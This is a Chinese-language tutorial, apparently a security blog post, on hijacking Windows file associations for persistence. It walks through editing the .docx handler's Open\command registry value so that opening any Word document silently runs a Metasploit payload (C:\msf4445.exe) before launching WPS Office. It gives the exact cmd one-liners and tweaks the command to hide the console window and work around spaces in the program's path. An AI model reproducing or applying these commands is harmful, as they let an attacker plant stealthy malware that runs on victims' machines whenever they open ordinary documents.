前置知识

        文件关联就是将一种类型的文件与一个可以打开它的程序建立其一种依存关系。当打开某一种类型的文件时,会检索用于打开文件的默认程序(也称为文件关联或处理程序)。文件的关联选择存储在Windows注册表中,可以由用户、管理员或具有注册表访问权限的程序或管理员进行编辑。

  • 系统文件关联在HKEY_CLASSES_ROOT.[扩展名]下列出:

imagepng

  • 这些条目指向位于HKEY_CLASSES_ROOT[handler]的该扩展的处理程序:

imagepng

利用原理

        我们可以通过修改注册表的方式,设置文件在通过默认程序打开之前,先执行我们的恶意载荷。在下面的实验中我们会以docx为例,在打开docx文件的同时执行恶意的载荷。

利用步骤

  • 步骤一:修改Open\command子键中的默认键值。
1
cmd /c start /b C:\msf4445.exe & "C:\Users\Win7-LMB\AppData\Local\Kingsoft\WPS Office\11.1.0.10700\office6\wps.exe" /prometheus /wps "%1"

        打开”.docx”首先会执行msf4445.exe,然后执行后面打开”.docx”本身需要执行的命令,但是这里面会有一个问题,cmd的窗口必须等待文档关闭的时候才会关闭,也就是说用户会感知到有个命令行窗口。

imagepng

        至于为什么会存在这个情况,原因很简单,因为之后执行的WPS程序是由前面的cmd命令行运行的。就好比”cmd /c start /b ping 127.0.0.1 & notepad.exe”这条命令,只有当notepad窗口被关闭时cmd的窗口才会关闭,cmd在一直等待。

        那么”cmd /c start /b ping 127.0.0.1 & start notepad.exe”是否就可以解决这个问题呢?答案是肯定的,在这一条命令中完美的解决了这个问题。虽然说start命令可以让程序在后台执行,但是他有一个致命的缺点,如果说你程序的路径中带有空格,那么必须使用双引号括起来,如果你一旦这么做那么这个程序就无法传入参数。

1
2
3
start C:\Windows\System32\ping.exe 127.0.0.1 
start "C:\Windows\System32\ping.exe" 127.0.0.1
//前者可以正常执行,后者提示找不到127.0.0.1这个文件。
  • 步骤二:添加环境变量

        仔细观察发现WPS的路径中带有空格,那么我们就没有办法直接通过start加绝对路径的方式打开docx。我们可以为WPS.exe添加环境变量,直接通过相对路径执行wps.exe。

1
cmd /c start /b C:\msf4445.exe & start wps.exe /prometheus /wps "%1"

以上代码完美执行:2021-08-23 15.36.25.gif

imagepng

        一个简单的思路,我们可以读取这个Command子键下面的键值,得到文件路径后,通过”set PATH=%PATH%;<文件路径>”的方式添加环境变量。